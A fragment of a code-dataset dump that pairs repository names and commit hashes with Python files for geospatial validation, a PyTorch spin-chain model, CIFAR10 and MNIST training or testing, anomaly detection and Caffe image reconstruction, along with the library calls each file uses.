{\n 'message': 'Pass',\n 'level': 'success'\n }\n\n return {\n 'message': ', '.join([str(x) for x in geom_types]),\n 'level': 'warning',\n 'details': {\n 'count': len(geom_types),\n 'content': list(geom_types)\n }\n }\n\n def validate_column_names(self):\n '''\n '''\n if all(len(x) <= self.max_column_name_length for x in self.df.columns):\n return {\n 'message': 'Column names may be truncated',\n 'level': 'warning'\n }\n\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n def validate_crs(self):\n '''\n '''\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n\n if self.df.to_crs(epsg=self.epsg_code).cx[self.xmin:self.xmax, self.ymin:self.ymax].shape[0] == self.df.shape[0] and np.inf not in self.df.to_crs(epsg=self.epsg_code).total_bounds:\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n return {\n 'message': 'Coordinate reference system code provided may be incorrect',\n 'level': 'warning'\n }\n\n def validate_geometries_within_bbox(self):\n '''\n '''\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n\n if self.df.to_crs(epsg=self.epsg_code).cx[self.xmin:self.xmax, self.ymin:self.ymax].shape[0] != self.df.shape[0]:\n return {\n 'message': 'Not all geometries within boundaries',\n 'level': 'warning'\n }\n\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n def validate_geometries_in_boundaries(self):\n '''\n '''\n if not isinstance(self.df, gpd.geodataframe.GeoDataFrame):\n return {\n 'message': 'Data not a valid GeoDataFrame',\n 'level': 'info'\n }\n \n # get city boundaries by merging wards polygons into one\n boundaries = utils.read_agol_endpoint(agol_url=self.city_wards_agol_url)\n boundaries['constant'] = 1\n boundaries = boundaries.dissolve('constant').reset_index()\n boundaries = boundaries.drop([c for c in boundaries.columns if c != 'geometry'], axis=1).to_crs(epsg=self.epsg_code)\n\n # breakup source dataframe multi-features to check them individually\n gdf = self.df.to_crs(epsg=self.epsg_code).explode().reset_index()\n\n # perform spatial join between individual source features and city boundaries\n join_df = gpd.sjoin(gdf, boundaries, how='inner').set_index(['level_0', 'level_1'])\n gdf = gdf.set_index(['level_0', 'level_1'])\n outer = gdf[~gdf.index.isin(join_df.index)]\n\n if outer.empty:\n return {\n 'message': 'Pass',\n 'level': 'success'\n }\n\n return {\n 'message': 'Not all geometries within provided polygon',\n 'level': 'warning',\n 'details': {\n 'count': outer.shape[0],\n 'content': outer.to_crs(epsg=4326).to_json(),\n 'reference': boundaries.to_crs(epsg=4326).to_json()\n }\n }\n" ]
[ [ "pandas.to_datetime", "numpy.setdiff1d", "numpy.union1d", "pandas.DataFrame.from_dict", "pandas.DataFrame", "numpy.intersect1d", "pandas.to_numeric" ] ]
kinimod0/differentiable_sparse_eigen
[ "f5a66e94799003ee7604ff995e347e39160a9313" ]
[ "nnmodule.py" ]
[ "from torch import nn\nimport torch\nfrom hamiltonian import ham_total\nfrom xitorch import linalg\nfrom test_sparse_eigen import CsrLinOp\nimport numpy as np\n\n\nclass HamModule(nn.Module):\n\n pi = np.pi\n\n def __init__(self, L, J_1, B_0, B_ext, phi_i, device='cuda',dtype=torch.double):\n \"\"\"\n Parameters\n ----------\n L: int Length of spin chain\n B_0: float initial B_0\n B_ext: float initial B_ext\n phi_i: float array of angle differences\n Returns\n ----------\n \"\"\"\n\n super(HamModule, self).__init__()\n self.J_1 = J_1\n # named tensors are not supported for our usage\n self.L = torch.tensor([L], device=device)#nn.Parameter(torch.tensor([L]), requires_grad=False)\n self.B_0 = nn.Parameter(torch.tensor([B_0], device=device, dtype=dtype), requires_grad=True)\n self.B_ext = nn.Parameter(torch.tensor([B_ext], device=device, dtype=dtype), requires_grad=True)\n self.phi_i = nn.Parameter(torch.tensor(phi_i, device=device, dtype=dtype), requires_grad=True)\n self.phi_i2 = torch.zeros((L,), dtype = torch.float64)\n\n def output_parameters(self):\n \n return [(param, getattr(self, param).detach().cpu().numpy()) for param in [\"B_0\", \"B_ext\", \"phi_i2\"]]\n\n def forward(self,n_eigs):\n \"\"\"\n Parameters\n ----------\n n_eigs: number of eigenvalues/vectors that are calculated\n Returns\n ----------\n eigvals (torch.tensor) and eigvectors (torch.tensor)\n \"\"\"\n\n self.phi_i2 = torch.square(self.phi_i)\n self.phi_i2 = torch.cumsum(self.phi_i2, 0)\n self.phi_i2 = self.phi_i2 * self.pi / self.phi_i2[-1]\n self.phi_i2 = self.phi_i2 - self.phi_i2[0]\n #self.phi_i2 = torch.cat((self.phi_i2, torch.flip(2 * self.pi - self.phi_i2, (0,))))\n self.phi_i2 = torch.cat((self.phi_i2, torch.flip(self.phi_i2, (0,))))\n if self.B_0.dtype==torch.double:\n H = ham_total(self.L.item(), self.J_1 , self.B_0, self.B_ext, self.phi_i2, prec=64)\n else:\n H = ham_total(self.L.item(), self.J_1 , self.B_0, self.B_ext, self.phi_i2, prec=32)\n\n H_linop = CsrLinOp(torch.stack([H.storage._row, H.storage._col], dim=0), H.storage._value, H.size(0))\n eigvals, eigvecs = linalg.symeig(H_linop, neig=n_eigs, method=\"davidson\", max_niter=1000, nguess=None,\n v_init=\"randn\",\n max_addition=None, min_eps=1e-07, verbose=False,\n bck_options={'method': 'bicgstab', 'rtol': 1e-05, 'atol': 1e-06, 'eps': 1e-8,\n 'verbose': False, 'max_niter': 10000})\n return eigvals, eigvecs\n\nif __name__ == \"__main__\":\n from bipartite_entropy import calculate_entropies\n from hamiltonian import Sky_phi\n from pathlib import Path\n import h5py\n import time\n Path(\"output_dwall2\").mkdir(parents = True, exist_ok = True)\n\n L = 12\n nsteps = 2000\n #weight list for loss function\n #weight_list = torch.tensor([L//2 - i for i in range(1, L//2)] + [L - 2] + [i for i in range(1, L//2)]).cuda()\n #weight_list = torch.tensor([L//2 - i for i in range(1, L//2)] + [L - 2] + [i for i in range(1, L//2)]).cuda()\n weight_list = torch.full((L-1,),1.0).cuda()\n print(\"The weight list for the entropy:\", weight_list.tolist())\n\n para_names = [\"B_0\", \"B_ext\", \"phi_i\"]\n J1 = -1.0\n B_0 = -0.4\n B_ext = -0.08\n scalfac = 1.0\n delta = 0.5\n center = L / 2 - 0.5\n\n phis = np.array(Sky_phi(L, center, delta, scalfac))[:L//2 + 1] + np.pi\n phi_i = np.sqrt(np.diff(phis))\n n_eigs = 3\n H = HamModule(L, J1, B_0, B_ext, phi_i, device='cuda')\n optimizer = torch.optim.Adam(H.parameters(),\n lr = 0.001)\n\n ideal_ent = torch.zeros(L - 1, dtype = torch.double).cuda()\n ideal_ent[L // 2 - 1] = np.log(2)\n\n out_file = h5py.File('output_dwall2/test_output.h5', 'w', libver = 'latest')\n fixedset = out_file.create_dataset(\"fixed values\", (2,), data = [L, J1])\n\n entset = out_file.create_dataset(\"entropy\", (nsteps,L - 1))\n lossset = out_file.create_dataset(\"loss\", (nsteps,))\n\n paramsset = []\n for i_para, para in enumerate(H.output_parameters()):\n paramsset.append(out_file.create_dataset(para[0], (nsteps,) + para[1].shape))\n out_file.swmr_mode = True\n\n #out_file = open(\"output/entropy_loss.txt\", \"w\")\n start = time.time()\n for i in range(nsteps):\n eigvals, eigvecs = H.forward(n_eigs)\n #print(eigvals)\n loss = torch.tensor([0.]).requires_grad_().cuda()\n for i_eig in range(1):\n ent = calculate_entropies(eigvecs[:, i_eig], L, [2] * L)\n loss += torch.sum(torch.square(weight_list * (ent - ideal_ent)))\n \n entlist = ent.tolist()\n entset[i] = entlist\n entset.flush()\n lossset[i] = loss.item()\n lossset.flush()\n\n for i_para, para in enumerate(H.output_parameters()):\n paramsset[i_para][i] = para[1]\n paramsset[i_para].flush()\n print('loss[{}] ={}'.format(i + 1, loss.item()))\n #for i in range(L - 1):\n # out_file.write(str(entlist[i]) + \"\\t\")\n #out_file.write(str(loss.item()) + \"\\n\")\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n print((time.time()-start)/(i+1))\n out_file.close()\n print(\"Entropy after optimization:\", ent.tolist())\n\n for para in H.parameters():\n\n print(para)\n \n" ]
[ [ "torch.zeros", "torch.stack", "numpy.log", "torch.square", "numpy.diff", "torch.full", "torch.tensor", "torch.flip", "torch.cumsum" ] ]
bowenl2016/ResidualNetworkDesign
[ "b5b75126f9499053e929ed0d5d9c5f0ac176d5d4" ]
[ "test.py" ]
[ "import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\nfrom project1_model import project1_model\r\n\r\nprint(\"This is the testing script\")\r\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\r\nmodel = project1_model().to(device)\r\nmodel_path = './project1_model.pt'\r\nmodel.load_state_dict(torch.load(model_path, map_location=device), strict=False)\r\n\r\ndef count_parameters(model):\r\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\r\n\r\nnormalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\r\n std=[0.229, 0.224, 0.225])\r\n\r\ntransform_test = transforms.Compose([\r\n transforms.ToTensor(),\r\n normalize])\r\ntest_set = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)\r\ntest_loader = torch.utils.data.DataLoader(test_set, batch_size=128, shuffle=False, num_workers=4)\r\n\r\n# Cifar10 tags\r\nclasses = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\r\n\r\nprint(\"total_count number of params: \", count_parameters(model))\r\n\r\ncriterion = nn.CrossEntropyLoss().cuda()\r\n# SGD optimizer, momentum, weight decay\r\noptimizer = optim.SGD(model.parameters(), lr=0.1, momentum=0.9, weight_decay=1e-4)\r\nsteps = []\r\nlrs = []\r\n\r\nmodel.eval()\r\ntest_loss = 0\r\ncorrect_count = 0\r\ntotal_count = 0\r\nwith torch.no_grad():\r\n for batchI, (input, target) in enumerate(test_loader):\r\n input, target = input.to(device), target.to(device)\r\n outputs = model(input)\r\n loss = criterion(outputs, target)\r\n\r\n test_loss += loss.item()\r\n _, predicted = outputs.max(1)\r\n total_count += target.size(0)\r\n correct_count += predicted.eq(target).sum().item()\r\n\r\n print('The testing loss is .', test_loss/len(test_loader))\r\n print('Testing accuracy is: ' , (100. * correct_count) / total_count)" ]
[ [ "torch.no_grad", "torch.cuda.is_available", "torch.utils.data.DataLoader", "torch.load", "torch.nn.CrossEntropyLoss" ] ]
davidadrianrg/startup-success-prediction
[ "1b49907dd5c8864add55b4cb2d5fe8188937fc56" ]
[ "preprocessing/detect_anomalies.py" ]
[ "\"\"\"Module to implement the anomalies detection methodes.\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.neighbors import LocalOutlierFactor\nfrom tensorflow import keras\nfrom tensorflow.keras import layers, models\nfrom sklearn.metrics import classification_report\nfrom sklearn.preprocessing import StandardScaler\n\n\nclass Anomalies:\n \"\"\"Class with clustering techniques implemented for unsupervised learning.\"\"\"\n\n def __init__(self, X, t, train_size, anomalies_size):\n \"\"\"Contructor method which customized dataset to apply anomalies detection techniques.\n\n :param X: Dataset samples\n :type X: pd.DataFrame\n :param t: Dataset labels\n :type t: pd.Series\n :param train_size: percentage of samples used for training\n :type train_size: float\n :param anomalies_size: percentage of samples included as anomalies\n :type anomalies_size: float\n \"\"\"\n M = X\n M[\"label\"] = t.values\n M = M.sort_values(by=[\"label\"], ascending=False)\n clean = M[\"label\"].tolist().count(1)\n X_train = M[: round(clean * train_size)].iloc[:, :-1]\n X_test = M[\n round(clean * train_size) : clean + round(clean * anomalies_size)\n ].iloc[:, :-1]\n self.t_test = M[\n round(clean * train_size) : clean + round(clean * anomalies_size)\n ].iloc[:, -1]\n\n scaler = StandardScaler()\n scaler.fit(X_train)\n self.X_train = scaler.transform(X_train)\n self.X_test = scaler.transform(X_test)\n self.autoencoder = None\n\n def perform_IsolationForest(\n self, n_estimators=100, target_names=None, contamination=0, **kwargs\n ):\n \"\"\"Isolation Forest algorithm.\n\n :param n_estimators: number of estimators used, defaults to 100\n :type n_estimators: int, optional\n :param contamination: percentage os samples included as anomalies in trining set, defaults to 0\n :type contamination: int, optional\n :return: classification report with results\n :rtype: str\n \"\"\"\n model = IsolationForest(\n n_estimators=n_estimators, contamination=contamination, **kwargs\n )\n model.fit(self.X_train)\n y_test = model.predict(self.X_test)\n return classification_report(\n self.t_test, y_test, target_names=target_names\n )\n\n def perform_LOF(self, n_neighbors=10, target_names=None, novelty=True):\n \"\"\"LOF algorithm.\n\n :param n_neighbors: number of data neighbours used, defaults to 10\n :type n_neighbors: int, optional\n :param novelty: param necessary to detect anomalies, defaults to True\n :type novelty: bool, optional\n :return: classification report with results\n :rtype: str\n \"\"\"\n model = LocalOutlierFactor(n_neighbors=n_neighbors, novelty=novelty)\n model.fit(self.X_train)\n y_test = model.predict(self.X_test)\n return classification_report(\n self.t_test, y_test, target_names=target_names\n )\n\n def perform_autoencoding(self):\n \"\"\"Create an autoencoder neural network.\"\"\"\n _, variables = self.X_train.shape\n autoencoder = models.Sequential()\n autoencoder.add(layers.Dense(1, input_dim=variables, activation=\"relu\"))\n autoencoder.add(layers.Dense(variables, activation=\"relu\"))\n opt = keras.optimizers.Adam(learning_rate=0.001)\n autoencoder.compile(loss=\"mean_squared_error\", optimizer=opt)\n self.autoencoder = autoencoder\n\n def train_autoencoding(self, epochs=200, batch_size=100, **kwargs):\n \"\"\"Fits autoencoder neural network.\n\n :param epochs: number of times all data is passed to network, defaults to 200\n :type epochs: int, optional\n :param batch_size: number of splits of data in batchs, defaults to 100\n :type batch_size: int, optional\n \"\"\"\n self.history = self.autoencoder.fit(\n self.X_train,\n self.X_train,\n validation_data=(self.X_test, self.X_test),\n epochs=epochs,\n batch_size=batch_size,\n **kwargs\n )\n\n def plot_autoencoder_validation(\n self,\n xlabel: str = \"Mean Square Error (MSE)\",\n ylabel: str = \"Iteration (epoch)\",\n legend: tuple = (\"Entrenamiento\", \"Test\"),\n figsize: tuple = (12, 4),\n ):\n \"\"\"Plot autoencoder validation curve.\n\n :param xlabel: plot xlabel, defaults to \"Mean Square Error (MSE)\"\n :type xlabel: str, optional\n :param ylabel: plot ylabel, defaults to \"Iteration (epoch)\"\n :type ylabel: str, optional\n :param legend: plot legend, defaults to (\"Entrenamiento\", \"Test\")\n :type legend: tuple, optional\n :param figsize: size of plot, defaults to (12, 4)\n :type figsize: tuple, optional\n :return: plot figure\n :rtype: obj\n \"\"\"\n fig, ax = plt.subplots(figsize=figsize)\n ax.plot(self.history.history[\"loss\"])\n ax.plot(self.history.history[\"val_loss\"])\n ax.set_ylabel(xlabel)\n ax.set_xlabel(ylabel)\n ax.legend(legend, loc=\"upper right\")\n return fig\n\n def plot_autoencoder_threshold(\n self,\n xlabel: str = \"Reconstruction error (training)\",\n ylabel: str = \"Number of data\",\n legend: tuple = (\"Threshold\"),\n figsize: tuple = (12, 4),\n ):\n \"\"\"Predicts anomalies by recontructing samples passed to encoder.\n\n :param xlabel: xlabel plot, defaults to \"Reconstruction error (training)\"\n :type xlabel: str, optional\n :param ylabel: ylabel plot, defaults to \"Number of data\"\n :type ylabel: str, optional\n :param legend: legend plot, defaults to (\"Threshold\")\n :type legend: tuple, optional\n :param figsize: size of plot, defaults to (12, 4)\n :type figsize: tuple, optional\n :return: figure\n :rtype: obj\n \"\"\"\n y_train = self.autoencoder.predict(self.X_train)\n self.mse_train = np.mean(np.power(self.X_train - y_train, 2), axis=1)\n threshold = np.max(self.mse_train)\n\n fig, ax = plt.subplots(figsize=figsize)\n ax.hist(self.mse_train, bins=50)\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n ax.axvline(threshold, color=\"r\", linestyle=\"--\")\n ax.legend(legend, loc=\"upper center\")\n return fig\n\n def plot_autoencoder_error(\n self,\n xlabel: str = \"Data Index\",\n ylabel: str = \"Reconstruction Error\",\n legend: tuple = (\"Training\", \"Test\", \"Threshold\"),\n figsize: tuple = (12, 4),\n ):\n \"\"\"Plot autoencoder error.\n\n :param xlabel: xlabel plot, defaults to \"Data Index\"\n :type xlabel: str, optional\n :param ylabel: ylabel plot, defaults to \"Reconstruction Error\"\n :type ylabel: str, optional\n :param legend: legend plot, defaults to (\"Training\", \"Test\", \"Threshold\")\n :type legend: tuple, optional\n :param figsize: size of figure, defaults to (12, 4)\n :type figsize: tuple, optional\n :return: figure\n :rtype: obj\n \"\"\"\n e_test = self.autoencoder.predict(self.X_test)\n self.mse_test = np.mean(np.power(self.X_test - e_test, 2), axis=1)\n threshold = np.max(self.mse_train)\n fig, ax = plt.subplots(figsize=figsize)\n ax.plot(range(1, self.X_train.shape[0] + 1), self.mse_train, \"b.\")\n ax.plot(\n range(\n self.X_train.shape[0] + 1,\n self.X_train.shape[0] + self.X_test.shape[0] + 1,\n ),\n self.mse_test,\n \"r.\",\n )\n ax.axhline(threshold, color=\"r\", linestyle=\"--\")\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n ax.legend(legend, loc=\"upper left\")\n return fig\n\n def get_autoencoder_clreport(self, target_names=None):\n \"\"\"Generate classification report with autoencoders results.\n\n :return: classification report with results\n :rtype: str\n \"\"\"\n y_test = np.ones((self.t_test.shape))\n threshold = np.max(self.mse_train)\n y_test[self.mse_test > threshold] = -1\n\n return classification_report(\n self.t_test, y_test, target_names=target_names\n )\n" ]
[ [ "numpy.max", "sklearn.preprocessing.StandardScaler", "numpy.ones", "matplotlib.pyplot.subplots", "tensorflow.keras.layers.Dense", "sklearn.metrics.classification_report", "sklearn.ensemble.IsolationForest", "tensorflow.keras.models.Sequential", "numpy.power", "tensorflow.keras.optimizers.Adam", "sklearn.neighbors.LocalOutlierFactor" ] ]
thesmarthomeninja/Tensorflow_Census_Example
[ "09de7d23e665996d21db3e13eb8f7abe752db018" ]
[ "workshop_sections/mnist_series/mnist_cnn_custom_estimator/cnn_mnist_keras_vgg_like.py" ]
[ "# Copyright 2016 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Convolutional Neural Network Estimator for MNIST, built with keras.layers.\nBased on: http://www.sas-programming.com/2017/09/a-vgg-like-cnn-for-fashion-mnist-with.html\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten, LeakyReLU\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n\n\nimport argparse\nimport os\nimport numpy as np\nimport time\n\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n# tf.python.control_flow_ops = tf\nFLAGS = None\nBATCH_SIZE = 100\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\ndef cnn_model_fn(features, labels, mode):\n \"\"\"Model function for CNN.\"\"\"\n\n # Input Layer\n # Reshape X to 4-D tensor: [batch_size, width, height, channels]\n # MNIST images are 28x28 pixels, and have one color channel\n\n input_layer = tf.reshape(features[\"x\"], [-1, 28, 28, 1])\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n K.set_learning_phase(1)\n else:\n K.set_learning_phase(0)\n\n conv1 = Conv2D(filters=32, kernel_size=(3, 3), padding=\"same\",\n input_shape=(28,28,1), activation='relu')(input_layer)\n conv2 = Conv2D(filters=64, kernel_size=(3, 3), padding=\"same\", activation='relu')(conv1)\n pool1 = MaxPooling2D(pool_size=(2, 2))(conv2)\n dropout1 = Dropout(0.5)(pool1)\n conv3 = Conv2D(filters=128, kernel_size=(3, 3), padding=\"same\", activation='relu')(dropout1)\n conv4 = Conv2D(filters=256, kernel_size=(3, 3), padding=\"valid\", activation='relu')(conv3)\n pool2 = MaxPooling2D(pool_size=(3, 3))(conv4)\n dropout2 = Dropout(0.5)(pool2)\n pool2_flat = Flatten()(dropout2)\n dense1 = Dense(256)(pool2_flat)\n lrelu = LeakyReLU()(dense1)\n dropout3 = Dropout(0.5)(lrelu)\n dense2 = Dense(256)(dropout3)\n lrelu2 = LeakyReLU()(dense2)\n logits = Dense(10, activation='linear')(lrelu2)\n\n predictions = {\n # Generate predictions (for PREDICT and EVAL mode)\n \"classes\": tf.argmax(input=logits, axis=1),\n # Add `softmax_tensor` to the graph. It is used for PREDICT and by the\n # `logging_hook`.\n \"probabilities\": tf.nn.softmax(logits, name=\"softmax_tensor\")\n }\n prediction_output = tf.estimator.export.PredictOutput({\"classes\": tf.argmax(input=logits, axis=1),\n \"probabilities\": tf.nn.softmax(logits, name=\"softmax_tensor\")})\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions,\n export_outputs={tf.saved_model.signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY: prediction_output})\n\n # Calculate Loss (for both TRAIN and EVAL modes)\n onehot_labels = tf.one_hot(indices=tf.cast(labels, tf.int32), depth=10)\n loss = tf.losses.softmax_cross_entropy(\n onehot_labels=onehot_labels, logits=logits)\n # Generate some summary info\n tf.summary.scalar('loss', loss)\n tf.summary.histogram('conv1', conv1)\n tf.summary.histogram('dense', dense1)\n\n\n # Configure the Training Op (for TRAIN mode)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.AdamOptimizer(learning_rate=1e-4)\n train_op = optimizer.minimize(\n loss=loss,\n global_step=tf.train.get_global_step())\n\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=train_op)\n\n # Add evaluation metrics (for EVAL mode)\n eval_metric_ops = {\n \"accuracy\": tf.metrics.accuracy(\n labels=labels, predictions=predictions[\"classes\"])}\n return tf.estimator.EstimatorSpec(\n mode=mode, loss=loss, eval_metric_ops=eval_metric_ops)\n\ndef generate_input_fn(dataset, batch_size=BATCH_SIZE):\n def _input_fn():\n X = tf.constant(dataset.images)\n Y = tf.constant(dataset.labels, dtype=tf.int32)\n image_batch, label_batch = tf.train.shuffle_batch([X,Y],\n batch_size=batch_size,\n capacity=8*batch_size,\n min_after_dequeue=4*batch_size,\n enqueue_many=True\n )\n return {'x': image_batch} , label_batch\n\n return _input_fn\n\n\ndef main(unused_argv):\n # Load training and eval data\n mnist = input_data.read_data_sets(FLAGS.data_dir)\n\n train_data = mnist.train.images # Returns np.array\n train_labels = np.asarray(mnist.train.labels, dtype=np.int32)\n eval_data = mnist.test.images # Returns np.array\n eval_labels = np.asarray(mnist.test.labels, dtype=np.int32)\n\n predict_data_batch = mnist.test.next_batch(20)\n\n # Create the Estimator\n mnist_classifier = tf.estimator.Estimator(\n model_fn=cnn_model_fn, model_dir=FLAGS.model_dir)\n\n # Set up logging for predictions\n # Log the values in the \"Softmax\" tensor with label \"probabilities\"\n tensors_to_log = {\"probabilities\": \"softmax_tensor\"}\n logging_hook = tf.train.LoggingTensorHook(\n tensors=tensors_to_log, every_n_iter=FLAGS.logging_hook_iter)\n\n mnist_classifier.train(\n input_fn=generate_input_fn(mnist.train, batch_size=BATCH_SIZE),\n steps=FLAGS.num_steps,\n hooks=[logging_hook]\n )\n\n # Evaluate the model and print results\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"x\": eval_data},\n y=eval_labels,\n num_epochs=1,\n shuffle=False)\n eval_results = mnist_classifier.evaluate(input_fn=eval_input_fn)\n print(eval_results)\n\n predict_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"x\": predict_data_batch[0]},\n y=None, # when predicting, we don't need labels\n num_epochs=1,\n shuffle=False)\n predict_results = mnist_classifier.predict(input_fn=predict_input_fn)\n for i, p in enumerate(predict_results):\n print(\"Correct label: %s\" % predict_data_batch[1][i])\n print(\"Prediction: %s\" % p)\n\n\n def serving_input_receiver_fn():\n feature_tensor = tf.placeholder(tf.float32, [None, 784])\n return tf.estimator.export.ServingInputReceiver({'x': feature_tensor}, {'x': feature_tensor})\n mnist_classifier.export_savedmodel(FLAGS.model_dir, serving_input_receiver_fn)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str, default='/tmp/MNIST_data',\n help='Directory for storing data')\n parser.add_argument('--model_dir', type=str,\n default=os.path.join(\n \"/tmp/tfmodels/keras_mnist_cnn_estimator\",\n str(int(time.time()))),\n help='Directory for storing model info')\n parser.add_argument('--num_steps', type=int,\n default=20000,\n help='Number of training steps to run')\n parser.add_argument('--logging_hook_iter', type=int,\n default=5000,\n help='How frequently to run the logging hook')\n FLAGS = parser.parse_args()\n tf.app.run()\n" ]
[ [ "tensorflow.reshape", "tensorflow.estimator.export.ServingInputReceiver", "tensorflow.nn.softmax", "tensorflow.cast", "tensorflow.summary.histogram", "tensorflow.argmax", "tensorflow.constant", "tensorflow.app.run", "tensorflow.train.get_global_step", "tensorflow.logging.set_verbosity", "tensorflow.estimator.EstimatorSpec", "tensorflow.train.AdamOptimizer", "tensorflow.train.LoggingTensorHook", "tensorflow.summary.scalar", "tensorflow.losses.softmax_cross_entropy", "tensorflow.train.shuffle_batch", "tensorflow.metrics.accuracy", "tensorflow.placeholder", "numpy.asarray", "tensorflow.examples.tutorials.mnist.input_data.read_data_sets", "tensorflow.estimator.inputs.numpy_input_fn", "tensorflow.estimator.Estimator" ] ]
kiroSamirI/K-cnn
[ "709643934a4ed546052b6a8369837ed7f0e25491" ]
[ "examples/recon_img_from_true_feature_icnn_gd.py" ]
[ "'''Demonstration code for icnn_gd\n\nThis script will do the followings:\n\n1. extract cnn features from a test image,\n2. reconstruct the test image from the CNN features.\n'''\n\n\nimport os\nimport pickle\nfrom datetime import datetime\n\nimport numpy as np\nimport PIL.Image\nimport scipy.io as sio\nfrom scipy.misc import imresize\n\nimport caffe\n\nfrom icnn.icnn_gd import reconstruct_image\nfrom icnn.utils import get_cnn_features, normalise_img\n\n\n# Setup Caffe CNN model -------------------------------------------------------\n\n# Load the average image of ImageNet\nimg_mean_file = './data/ilsvrc_2012_mean.npy'\nimg_mean = np.load(img_mean_file)\nimg_mean = np.float32([img_mean[0].mean(), img_mean[1].mean(), img_mean[2].mean()])\n\n# Load CNN model\nmodel_file = './net/VGG_ILSVRC_19_layers/VGG_ILSVRC_19_layers.caffemodel'\nprototxt_file = './net/VGG_ILSVRC_19_layers/VGG_ILSVRC_19_layers.prototxt'\nchannel_swap = (2, 1, 0)\nnet = caffe.Classifier(prototxt_file, model_file,\n mean=img_mean, channel_swap=channel_swap)\nh, w = net.blobs['data'].data.shape[-2:]\nnet.blobs['data'].reshape(1, 3, h, w)\n\n# Layer list\n# Example: layer_list = ['conv1_1','conv2_1','conv3_1']\n\n# Use all conv and fc layers\nlayer_list = [layer\n for layer in net.blobs.keys()\n if 'conv' in layer or 'fc' in layer]\n\n# Setup directories -----------------------------------------------------------\n\n# Make directory for saving the results\nsave_dir = './result'\nsave_subdir = __file__.split('.')[0] + '_' + datetime.now().strftime('%Y%m%dT%H%M%S')\nsave_path = os.path.join(save_dir, save_subdir)\nos.makedirs(save_path)\n\n# Setup the test image and image features -------------------------------------\n\n# Test image\norig_img = PIL.Image.open('./data/orig_img.jpg')\n\n# Resize the image to match the input size of the CNN model\norig_img = imresize(orig_img, (h, w), interp='bicubic')\n\n# Extract CNN features from the test image\nfeatures = get_cnn_features(net, orig_img, layer_list)\n\n# Save the test image\nsave_name = 'orig_img.jpg'\nPIL.Image.fromarray(orig_img).save(os.path.join(save_path, save_name))\n\n# Setup layer weights (optional) ----------------------------------------------\n\n# Weight of each layer in the total loss function\n\n# Norm of the CNN features for each layer\nfeat_norm_list = np.array([np.linalg.norm(features[layer]) for layer in layer_list],\n dtype='float32')\n\n# Use the inverse of the squared norm of the CNN features as the weight for each layer\nweights = 1. / (feat_norm_list**2)\n\n# Normalise the weights such that the sum of the weights = 1\nweights = weights / weights.sum()\n\nlayer_weight = dict(zip(layer_list, weights))\n\n# Reconstruction --------------------------------------------------------------\n\n# Reconstruction options\nopts = {\n # Loss function type: {'l2', 'l1', 'inner', 'gram'}\n 'loss_type': 'l2',\n\n # The total number of iterations for gradient descend\n 'iter_n': 200,\n\n # Display the information on the terminal for every n iterations\n 'disp_every': 1,\n\n # Save the intermediate reconstruction or not\n 'save_intermediate': True,\n # Save the intermediate reconstruction for every n iterations\n 'save_intermediate_every': 10,\n # Path to the directory saving the intermediate reconstruction\n 'save_intermediate_path': save_path,\n\n # Learning rate\n 'lr_start': 2.,\n 'lr_end': 1e-10,\n\n # Gradient with momentum\n 'momentum_start': 0.9,\n 'momentum_end': 0.9,\n\n # Pixel decay for each iteration\n 'decay_start': 0.2,\n 'decay_end': 1e-10,\n\n # Use image smoothing or not\n 'image_blur': True,\n # The size of the gaussian filter for image smoothing\n 'sigma_start': 2.,\n 'sigma_end': 0.5,\n\n # A python dictionary consists of weight parameter of each layer in the\n # loss function, arranged in pairs of layer name (key) and weight (value);\n 'layer_weight': layer_weight,\n\n # The initial image for the optimization (setting to None will use random\n # noise as initial image)\n 'initial_image': None,\n\n # A python dictionary consists of channels to be selected, arranged in\n # pairs of layer name (key) and channel numbers (value); the channel\n # numbers of each layer are the channels to be used in the loss function;\n # use all the channels if some layer not in the dictionary; setting to None\n # for using all channels for all layers;\n 'channel': None,\n\n # A python dictionary consists of masks for the traget CNN features,\n # arranged in pairs of layer name (key) and mask (value); the mask selects\n # units for each layer to be used in the loss function (1: 